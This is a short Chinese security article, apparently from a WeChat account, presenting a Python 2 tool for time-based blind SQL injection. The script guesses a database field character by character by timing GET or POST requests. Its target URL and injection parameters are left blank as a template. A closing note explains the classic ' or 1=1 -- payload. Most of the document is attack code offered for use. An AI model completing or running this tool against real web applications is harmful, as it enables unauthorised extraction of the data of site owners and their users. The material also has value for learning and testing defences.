SQL盲注利用工具

1. #! /usr/bin/env python 
   

2. # coding:utf-8 
   

3. # -------------------------------------------------- 
   

4. # file_name: SQL延时注入漏洞利用工具 

5. # --------------------------------------------------

6. import os 
   

7. import sys 
   

8. import time 
   

9. import requests
   

10. 
    

11. #发送HTTP GET请求并获取返回数据 
    

12. def get(url,params): 
    

13.     res = requests.get(url,params = params).status_code 
    

14.     return res
    

15. 
    

16. #发送HTTP POST请求并获取返回数据 
    

17. def post(url,params): 
    

18.     res = requests.post(url,data=params).status_code 
    

19.     return res
    

20. 
    

21. #利用SQL注入漏洞获取数据 
    

22. def get_data(): 
    

23.     #定义URL 
    

24.     #url = "" 
    

25.     #定义数据提交方式;支持GET和POST方式 
    

26.     method = "GET" 
    

27.     #定义payloads 
    

28.     payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.') 
    

29.     #定义目标字段长度 
    

30.     length = 3 
    

31.     #目标字段名称 
    

32.     name = "" 
    

33.     print "Is working, please wait......" 
    

34.     for i in range(1,(length + 1)): 
    

35.         for payload in payloads: 
    

36.             #构造HTTP请求参数 
    

37.             params = "" 
    

38.             #获取开始时间 
    

39.             start_time = time.time() 
    

40.             if method == 'GET': 
    

41.                 get(url,params) 
    

42.             elif method == "POST": 
    

43.                 post(url,params) 
    

44.             else: 
    

45.                 print "Please enter correct method" 
    

46.                 break 
    

47.             #获取结束时间 
    

48.             end_time = time.time() 
    

49.             #计算花费时间 
    

50.             count_time = end_time - start_time 
    

51.             if count_time > 3: 
    

52.                 name += payload 
    

53.                 print 'rtarget:%s' % (name), 
    

54.                 sys.stdout.flush() 
    

55.     print "nend,target:%s" % (name)
    

56. 
    

57. if __name__ == '__main__': 
    

58.     get_data()

SQL盲注：用SQL查询语句去猜解表名、字段、数据。

拿个简单的查询来说
select * from table where 条件='' or 1=1 --'
也就是在你的查询参数中加入：' or 1=1 --
其他改、删类似，注入的方式有很多种，以上只是最基本的一种。

本文始发于微信公众号（飓风网络安全）：SQL盲注利用工具